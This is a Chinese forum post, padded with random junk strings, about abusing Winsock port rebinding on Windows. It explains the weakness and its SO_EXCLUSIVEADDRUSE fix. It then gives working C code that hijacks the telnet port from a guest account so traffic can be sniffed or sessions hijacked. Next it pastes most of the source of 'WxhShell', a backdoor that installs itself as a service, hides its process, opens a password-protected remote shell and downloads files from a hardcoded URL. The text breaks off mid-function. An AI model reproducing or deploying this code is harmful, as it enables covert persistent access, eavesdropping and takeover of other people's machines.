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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PN?;\k)"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |v8h g])I+  
J&fIW Z  
  saddr.sin_family = AF_INET; 9xz@2b@  
&z40l['4bz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &U?4e'N)T  
}Vob)r{R@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >AX_"Q~  
 K];]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xok T  
$;G<!]& s  
  这意味着什么?意味着可以进行如下的攻击: 7F0J*M  
O2ktqAWx@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *(1 <J2j  
4]tg!ks  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HQ9tvSc  
u9KT_` )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ul /m]b6-  
xBc|rqge  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^ '|y^t  
BK4S$B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3%(r,AD  
)uOtQ0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  %V ]v,  
B-]bhA4|:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y7:f^4  
'+{yg+#/wV  
  #include _[z)%`kay  
  #include (0Br`%!F  
  #include syg{qtBz^  
  #include    Y% \3N  
  DWORD WINAPI ClientThread(LPVOID lpParam);    0LL65[  
  int main() AQ(n?1LU  
  { #z&R9$  
  WORD wVersionRequested; +g7]ga  
  DWORD ret; R[l`# I  
  WSADATA wsaData; ~!mY0odH  
  BOOL val; ibZ[U p?  
  SOCKADDR_IN saddr; KzV|::S^  
  SOCKADDR_IN scaddr; N".BC|r  
  int err; /cx'(AT  
  SOCKET s; nTo?~=b  
  SOCKET sc; Z7pX%nj_  
  int caddsize; U4-RI]Cpf  
  HANDLE mt; @0PWbs$  
  DWORD tid;   BC_<1 c  
  wVersionRequested = MAKEWORD( 2, 2 ); "}1cQ|0a  
  err = WSAStartup( wVersionRequested, &wsaData ); |-{e!&  
  if ( err != 0 ) { BNE:,I*&  
  printf("error!WSAStartup failed!\n"); iR9duP+  
  return -1; G)[gLD{g?  
  } B.od{@I(Xp  
  saddr.sin_family = AF_INET; bcwb'D\a  
   f?=0Wzb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n_]B5U  
z7XI`MZN^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PR!0=E*}  
  saddr.sin_port = htons(23); s 7w A3|9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rp<~=X  
  { {aV,h@>  
  printf("error!socket failed!\n"); 6p&2 A  
  return -1; ltk ARc3  
  } =to.Oa RR  
  val = TRUE; <m~8pM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~"\v(\Pe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E A55!  
  { mDp8JNJNE  
  printf("error!setsockopt failed!\n"); ! jAp V  
  return -1; |P& \C8h  
  } S2|pn\0V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gV9bt ~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E>-I |X"L1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GY@:[u.&  
6 F39'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ( 1  
  { T zS?WYF  
  ret=GetLastError(); W+8s>  
  printf("error!bind failed!\n"); sl@>GbnS  
  return -1; 2{BS `f  
  } N$t<&5 +  
  listen(s,2); P"}"q ![  
  while(1) m*B4a9 f  
  { B0Z>di:  
  caddsize = sizeof(scaddr); |N6.:K[`  
  //接受连接请求 J[uH@3v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3rHn?  
  if(sc!=INVALID_SOCKET) C .B=E"e  
  { tmBt[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;K>'Gl  
  if(mt==NULL) `S-%}eUv  
  { >iG3!Td)y  
  printf("Thread Creat Failed!\n"); -~(d_  
  break; 6XCFL-o-  
  } T+RC#&>  
  } yDZm)|<.  
  CloseHandle(mt); O<|pw  
  } 8_Uh h5[  
  closesocket(s); @T L|\T  
  WSACleanup(); hP.Km%C)0n  
  return 0; 8EdaxeDq  
  }    tKh  
  DWORD WINAPI ClientThread(LPVOID lpParam) ] `q]n  
  { QT!>izgc U  
  SOCKET ss = (SOCKET)lpParam; n`w]?bL  
  SOCKET sc; 4e|N^h*!  
  unsigned char buf[4096]; q o^mp  
  SOCKADDR_IN saddr; b3 =Z~iLv  
  long num; h*1T3U$  
  DWORD val; aqQ+A:g  
  DWORD ret; FZ]+(Q"]:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BAvz @H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dcq18~  
  saddr.sin_family = AF_INET; }f}?|&q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y4IQa.F  
  saddr.sin_port = htons(23); IqepR >5t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %*Mr ^=  
  { ~G=E Q]a  
  printf("error!socket failed!\n"); xqY'-Hom  
  return -1; -$g~,dIwj  
  } Os9 EMU$  
  val = 100; f9kd&#O&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gzat!>*  
  { 1(>2tEjYT  
  ret = GetLastError(); 3}mg7KV&  
  return -1; /)K;XtcN  
  } mPQT%%MF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rcw[`q3/  
  { < Mu`,Kv*  
  ret = GetLastError(); :X-S&S X0  
  return -1; kFmtE dhsc  
  } ~&MDfpl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %3t;[$n#  
  { Q/4ICgo4  
  printf("error!socket connect failed!\n"); 5=#d#dDc  
  closesocket(sc); oUN\tOiS+  
  closesocket(ss); m||9,z-  
  return -1; 'yA/sZ  
  } 9xzow,mi  
  while(1) m]fUV8U  
  { +O9x8OPHW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I"lzOD; eI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h2Th)&Fb>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X?< L<:.  
  num = recv(ss,buf,4096,0); (&v|,.c^)1  
  if(num>0) 4L{]!dox  
  send(sc,buf,num,0); _TsN%)m  
  else if(num==0) U{pg y#/  
  break; ]a~sJz!  
  num = recv(sc,buf,4096,0); N#e9w3Rli  
  if(num>0) ~UO}PI`C  
  send(ss,buf,num,0); ?(K=du  
  else if(num==0) @sg.0GR  
  break; Ab j7  
  } zYY]+)k?  
  closesocket(ss); 9=T;Dxn  
  closesocket(sc); ,>kVVpu  
  return 0 ; kAPSVTH$v  
  } MOCcp s*  
7'i{JPm  
p0zC(v0*  
========================================================== J!5b~8`v  
h\3-8m  
下边附上一个代码,,WXhSHELL ~;Y Tz  
h| wdx(4  
========================================================== Ny/eYF#  
VWHpfm[r%  
#include "stdafx.h" F4z#u2~TC  
C f d* Q  
#include <stdio.h> ~XuV:K3  
#include <string.h> pXN'vP  
#include <windows.h> Q{950$ )L  
#include <winsock2.h> 2Zuo).2a.  
#include <winsvc.h> y'4Qt.1ukN  
#include <urlmon.h> )&>W/56/  
1kL8EPT%o  
#pragma comment (lib, "Ws2_32.lib") ~KkC089D  
#pragma comment (lib, "urlmon.lib") +M_ _\7  
5BXku=M  
#define MAX_USER   100 // 最大客户端连接数 LOfw #+]d  
#define BUF_SOCK   200 // sock buffer -40X3  
#define KEY_BUFF   255 // 输入 buffer rg>2tgA  
&b5(Su  
#define REBOOT     0   // 重启 5~IdWwG*w  
#define SHUTDOWN   1   // 关机 u|Mx}  
z rSPa\M  
#define DEF_PORT   5000 // 监听端口 v7./u4S|V  
x:!s+q` s  
#define REG_LEN     16   // 注册表键长度 ml1%C%  
#define SVC_LEN     80   // NT服务名长度 JOt(r}gU  
lbIPtu  
// 从dll定义API o#f"wQH;p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N\|z{vn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OQ?N_zs,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |H_WY#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9+N%Io?!  
`}=R  
// wxhshell配置信息 _Wg}#r  
struct WSCFG { ztSQrDbbb4  
  int ws_port;         // 监听端口 lm;hW&O9  
  char ws_passstr[REG_LEN]; // 口令 -X$EE$:  
  int ws_autoins;       // 安装标记, 1=yes 0=no TK\3mrEI  
  char ws_regname[REG_LEN]; // 注册表键名 x$BNFb%I1  
  char ws_svcname[REG_LEN]; // 服务名 +@3+WD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5{V"!M+<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1r$-Uh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KU` *LB:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }5oI` 9VT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LiT%d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qq&U)-`  
b}0h ()v  
}; s)qrlv5H  
# lvt4a"P"  
// default Wxhshell configuration >iOf3I-ATt  
struct WSCFG wscfg={DEF_PORT,  MYy58N  
    "xuhuanlingzhe", V2T% tn;rp  
    1, LPt9+sauf1  
    "Wxhshell", oxc;DfJ_  
    "Wxhshell", ?}s;,_GH  
            "WxhShell Service", -\?-  
    "Wrsky Windows CmdShell Service", fS4W*P[B3  
    "Please Input Your Password: ", a&b/C*R_  
  1, $Xlr@)%  
  "http://www.wrsky.com/wxhshell.exe", VM\R-[  
  "Wxhshell.exe" 'A:Y&w"r  
    }; T@yQOD7  
2\1+M)  
// 消息定义模块 . i4aM;Qy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8~C}0H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OmWEa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S^p b9~  
char *msg_ws_ext="\n\rExit."; hp'oiR;~w  
char *msg_ws_end="\n\rQuit."; ,R`CAf%*  
char *msg_ws_boot="\n\rReboot..."; uKk#V6t#  
char *msg_ws_poff="\n\rShutdown..."; X#$ oV#  
char *msg_ws_down="\n\rSave to ";  1}=D  
T/P\j0hR  
char *msg_ws_err="\n\rErr!"; <7J3tn B  
char *msg_ws_ok="\n\rOK!"; x7zc3%T's  
`Uz.9_6  
char ExeFile[MAX_PATH]; 1 gjaTPwY  
int nUser = 0; NzQvciJ@"  
HANDLE handles[MAX_USER]; wea  
int OsIsNt; :P_h_Tizv  
W$hCI)m(  
SERVICE_STATUS       serviceStatus; >]~581fYf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !FP ]  
`S|F\mI ~  
// 函数声明 }VJ>}i*  
int Install(void); a[~[l k=7  
int Uninstall(void); tB>!1}v  
int DownloadFile(char *sURL, SOCKET wsh); +-'F]?DN'  
int Boot(int flag); ^aAs=KditO  
void HideProc(void); _1gNU]"  
int GetOsVer(void); ]gPx%c  
int Wxhshell(SOCKET wsl); I20~bW  
void TalkWithClient(void *cs); wL),/i&<  
int CmdShell(SOCKET sock); )4uWB2ZRoi  
int StartFromService(void); wd*B3  
int StartWxhshell(LPSTR lpCmdLine); LD[\eJ _  
<<d#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QHO n?e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /W,hOv  
*$0*5d7  
// 数据结构和表定义 3:jxr  
SERVICE_TABLE_ENTRY DispatchTable[] = akbB=:M,x  
{ Lld45Bayb  
{wscfg.ws_svcname, NTServiceMain}, rwj+N%N  
{NULL, NULL} }>@SyE'Q  
}; X:Z3R0  
2Ty]s~  
// 自我安装 G;cC!x<  
int Install(void) f u\j  
{ apm%\dN  
  char svExeFile[MAX_PATH]; FA-cTF[,(  
  HKEY key; WZ ?>F  
  strcpy(svExeFile,ExeFile); Q9OCf"n$  
h!SsIy(  
// 如果是win9x系统,修改注册表设为自启动 &l2xh~L  
if(!OsIsNt) { [G8EX3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A-4;$ QSm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %|H]T] s  
  RegCloseKey(key); eoww N>-2C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ich^*z(F$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QD%xmP  
  RegCloseKey(key); Nxt:U{`T'  
  return 0; &'^.>TJ\  
    } ] hK}ASC  
  } 5;KJ0N*-  
} DQ+6VPc^o  
else { e4=FO;%  
>6Uc|D  
// 如果是NT以上系统,安装为系统服务 (^iF)z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J(}PvkA  
if (schSCManager!=0) )lLeL#]FLO  
{ _(g0$vRP~  
  SC_HANDLE schService = CreateService MkMDI)Y|  
  ( | U0s1f  
  schSCManager, b|.Cqsb  
  wscfg.ws_svcname, (]cL5o9  
  wscfg.ws_svcdisp, &=)O:Jfa  
  SERVICE_ALL_ACCESS, 1LS1 ZY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C)j/!+nh  
  SERVICE_AUTO_START, b%MZfaU  
  SERVICE_ERROR_NORMAL, dz+!yE\f$  
  svExeFile, RgV3,z  
  NULL, ,*W~M&n"m  
  NULL, `>UUdv{C  
  NULL, !0lk}Uzkh  
  NULL, `l'T/F \  
  NULL mOj; 0 R  
  ); [c=P)t7 V  
  if (schService!=0) nG4ZOx.*1g  
  {  &ox  
  CloseServiceHandle(schService); gk| % 4.  
  CloseServiceHandle(schSCManager); hO[_ _j8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZMlBd}H  
  strcat(svExeFile,wscfg.ws_svcname); &!4E3&+2m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^BLO}9A{P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >ymn&_zlT  
  RegCloseKey(key); 2iM}YCV  
  return 0; n[e C  
    } KF#^MEw%  
  } QWa@?BO2p  
  CloseServiceHandle(schSCManager); ?&9=f\/P  
} ByP<-Deh  
} d6*84'|!  
(N&i4O-I  
return 1; ox`Zs2-a  
} A^M]vk%dg  
RuYIG?J=/  
// 自我卸载 ``< #F3  
int Uninstall(void) ] / Nt  
{ xdbzp U  
  HKEY key; [- 92]  
;b 65s9n^b  
if(!OsIsNt) { nG3SDL#(k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {+#{Cha  
  RegDeleteValue(key,wscfg.ws_regname); VD&wO'U  
  RegCloseKey(key); @&m]:GR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f_O|  
  RegDeleteValue(key,wscfg.ws_regname); ?jfh'mCA  
  RegCloseKey(key); I2HV{1(i  
  return 0; iCpm^XT  
  } .S|T{DMQ[  
} _Jg#T~  
} QyL]-zNg  
else { vkJyD/;=  
%t,42jQ9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e@V J-s  
if (schSCManager!=0) yNfj-wM  
{ XdDQ$'*X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]vB^%  
  if (schService!=0) Pi=FnS  
  { %8I^&~E1  
  if(DeleteService(schService)!=0) { 0vLx={i  
  CloseServiceHandle(schService); :I7qw0?  
  CloseServiceHandle(schSCManager); ~rO&Y{aG#  
  return 0; D3aX\ NGP  
  } i 7T#WfF  
  CloseServiceHandle(schService); p' ^}J$  
  } <<S4l~"o  
  CloseServiceHandle(schSCManager); Tx&H1  
} YIW9z{rrs  
} <H] PP6_g:  
>CKa?N;  
return 1; !lzj.|7=1  
} SE(<(w  
9nQyPb6  
// 从指定url下载文件 z5({A2q  
int DownloadFile(char *sURL, SOCKET wsh) }P%gwgPK  
{ 4d@0v n{  
  HRESULT hr; `2U,#nZ 4  
char seps[]= "/"; }` `oojz  
char *token; fXnTqKAfu6  
char *file; Bi fI.2|  
char myURL[MAX_PATH]; &/uakkS  
char myFILE[MAX_PATH]; yD3vq}U!  
TuCHD~rb  
strcpy(myURL,sURL); " Ke_dM  
  token=strtok(myURL,seps); 6flO;d/v  
  while(token!=NULL) h\#4[/  
  { Z{(Gib~{N  
    file=token; IA1O]i S  
  token=strtok(NULL,seps); 9VaSCB  
  } 5C*Zb3VG4  
PNLlJlYlP  
GetCurrentDirectory(MAX_PATH,myFILE); EX<1hAw  
strcat(myFILE, "\\"); >/.jB/q  
strcat(myFILE, file); "e\73?P  
  send(wsh,myFILE,strlen(myFILE),0); wMF1HT<*  
send(wsh,"...",3,0); W{ozZuo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Gg[J=7`  
  if(hr==S_OK) i-0AcN./p  
return 0; ocW`sE?EED  
else zXGI{P0O  
return 1; Np9Pae'  
b2F1^]p  
} Ca"i<[8  
3s:)CXO  
// 系统电源模块 hhjsg?4uL  
int Boot(int flag) N]c:8dOj  
{ FGwgSrXL7  
  HANDLE hToken; uTbMp~cYB  
  TOKEN_PRIVILEGES tkp; &U.y):  
t@cBuV`9c  
  if(OsIsNt) { &#q%#M:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z#%77!3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H'EBe;ccM  
    tkp.PrivilegeCount = 1; n!b*GXb\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DML0paOm5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y;9K  
if(flag==REBOOT) { ~;I{d7z,;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #@5 jOi  
  return 0; +xmZK<{<  
} E\}Q9, Z$  
else { |("5 :m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QQ,w:OjA0  
  return 0; ;rF:$37^  
} oDA'}[/  
  } KRcg  
  else {  [7)#3  
if(flag==REBOOT) { `+r5I5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z3T26Uk  
  return 0; {24Pv#ZG#^  
} ^h|'\-d\  
else { s3T 6"%S`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~Uz|sQ*G  
  return 0; bL7mlh  
} X_|} b[b  
} ]zK} X!  
lu.2ZQE  
return 1; PsD]gN5"  
} 0MzHr2?'P  
d}415 XA  
// win9x进程隐藏模块 5O%}.}n  
void HideProc(void) 4]8PF  
{ 55N/[{[  
%s)E}cGH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <$9AP  
  if ( hKernel != NULL ) #wm)e)2@  
  { `0 F"zu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o_$r*Z|HG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CGg6nCB  
    FreeLibrary(hKernel); uTJ?@ ^nq  
  } QU4'x4YS  
Yc5$915  
return; "|&*MjwN6  
} MDCf(LhEH  
uc"u@ _M  
// 获取操作系统版本 KJkcmF}Q  
int GetOsVer(void) "Ii!)n,  
{ *AN#D?X_  
  OSVERSIONINFO winfo; XKK*RVs#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); },L[bDOV07  
  GetVersionEx(&winfo); Cw2+@7?|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G`W+m*[U+M  
  return 1; LtvyWc`  
  else [E/3&3  
  return 0; wb9zJAsc  
} gR>#LM&dG  
tE>:kx0*3  
// 客户端句柄模块 &\K#UVDyhh  
int Wxhshell(SOCKET wsl) K^vMIoh  
{ V)Xcn'h  
  SOCKET wsh; \^:f4ZT  
  struct sockaddr_in client; U5PCj ]-Xt  
  DWORD myID; \ a<Ye T  
Y+7v~/K=  
  while(nUser<MAX_USER) 5~? J  
{ U\z+{]<<  
  int nSize=sizeof(client); 0nuFWV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >y@w-,1he  
  if(wsh==INVALID_SOCKET) return 1; 3WVHI$A9  
MG@19R2s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ek BM>*W  
if(handles[nUser]==0) x/<. ?[A  
  closesocket(wsh); Z~gqTB]H  
else w$!n8A qs  
  nUser++; oAx0$]+%V)  
  } 'huLv(Uu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `F@yZ4L3S  
 x1et,&,  
  return 0; lo#,zd~  
} hU{%x#8}lK  
I|:j~EY  
// 关闭 socket 57}q'84  
void CloseIt(SOCKET wsh) td~3N,S  
{ 8K/lpqw  
closesocket(wsh); gs3}rW  
nUser--; $} Myj'`r  
ExitThread(0); 6M9rC[h\  
} .wSAysiQ|P  
L5W>in5(  
// 客户端请求句柄 [`lAc V<  
void TalkWithClient(void *cs) `4qKQJw  
{ ao!r6:&v$e  
KPhqD5, (  
  SOCKET wsh=(SOCKET)cs; G dU W$.  
  char pwd[SVC_LEN]; `<n:D`{dZ  
  char cmd[KEY_BUFF]; -G 'lyH  
char chr[1]; 9vu8koL  
int i,j; NsHveOK1.  
=)8Ct  
  while (nUser < MAX_USER) { vo-{3]u#=  
u"jnEKN0y  
if(wscfg.ws_passstr) { "q .uiz+1:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nmGHJb,$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1c!},O  
  //ZeroMemory(pwd,KEY_BUFF); De_</1Au!2  
      i=0; fL;p^t u3  
  while(i<SVC_LEN) { $EIkk= z  
Fe .*O`  
  // 设置超时 08a|]li  
  fd_set FdRead; M jTKM;  
  struct timeval TimeOut; +IYSWR  
  FD_ZERO(&FdRead); &?6w 2[}  
  FD_SET(wsh,&FdRead); vNbA/sM  
  TimeOut.tv_sec=8; rYQ@"o0/Y  
  TimeOut.tv_usec=0; HV.7IyBA^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \irjIXtV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dk/*%a +  
o=QF>\ \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pa +BE[z  
  pwd=chr[0]; ZZ*k3Ce  
  if(chr[0]==0xd || chr[0]==0xa) { +.I'U9QeUN  
  pwd=0; #+0 R!Y  
  break; p%1m&/ `F  
  } /p0LtUMu  
  i++; su;S)yZb  
    } CaBS0' n  
/g''-yT7#  
  // 如果是非法用户,关闭 socket [i7)E]*oTA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N-E`go  
} qhtAtP>i"  
j:3Hm0W3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .~ lt+M9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ycD.:w p\'  
-<]_:Kf{;&  
while(1) { J94YMyOo  
(t$/G3E  
  ZeroMemory(cmd,KEY_BUFF); 0K0=Ob^(e  
|9]K:A  
      // 自动支持客户端 telnet标准   Ky$G$H  
  j=0; %0]b5u  
  while(j<KEY_BUFF) { 8T )ELhTj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6o y>4  
  cmd[j]=chr[0]; Fjt,  
  if(chr[0]==0xa || chr[0]==0xd) { }tO<_f))  
  cmd[j]=0; "IJMvTmj  
  break; y/hvH"f  
  } _C=[bI@  
  j++; @|%ICG c  
    } JBAK*g  
3MJWCo-[  
  // 下载文件 }A/&]1GWk  
  if(strstr(cmd,"http://")) { <|Eby!KXR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yc=#Jn?S  
  if(DownloadFile(cmd,wsh)) @k6}4O?{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f ?zK "  
  else DeQ'U!?+N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .t[ZXrd| 0  
  } L$c%u  
  else { 0lr4d Y  
PFgjWp"Y  
    switch(cmd[0]) { ]{+M>i[  
  lv_%  
  // 帮助 LY:?OGh  
  case '?': { [3sxzU!t~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  / !  
    break; (`.qG &6p  
  } bTy)0ta>AF  
  // 安装 <ZC^H  
  case 'i': { | 4oM+n;Y  
    if(Install()) !2U7gVt"*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8421-c6y>  
    else HT=Am  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * r4/|.l  
    break; To{G#QEgG  
    } vp75u93  
  // 卸载 IH5} Az  
  case 'r': { r2F  
    if(Uninstall()) UEQ'D9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qb&N S4#  
    else D)ne *},  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n5* {hi  
    break; b|8>eY  
    } +;wqX]SD&  
  // 显示 wxhshell 所在路径 2|H91Y2  
  case 'p': { /xm#:+Sc  
    char svExeFile[MAX_PATH]; X)iWb(@k"7  
    strcpy(svExeFile,"\n\r"); NRuG?^/}d  
      strcat(svExeFile,ExeFile); dIfs 8%kl  
        send(wsh,svExeFile,strlen(svExeFile),0); )C01f ZhD  
    break; CBnouKc:  
    } U>_\  
  // 重启 )\D40,p  
  case 'b': { s@)"IdSA(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _?]BVw  
    if(Boot(REBOOT)) :_QAjU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &c<}++'h  
    else { Fx[A8G  
    closesocket(wsh); ZH$sMh<xg  
    ExitThread(0); c<h!QnJ  
    } ic0v*Y$  
    break; F2PLy q  
    } sAD P~xvU  
  // 关机 o&XMgY~  
  case 'd': { _]D#)-uv}C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C=dx4U~   
    if(Boot(SHUTDOWN)) nvs}r%1'5  
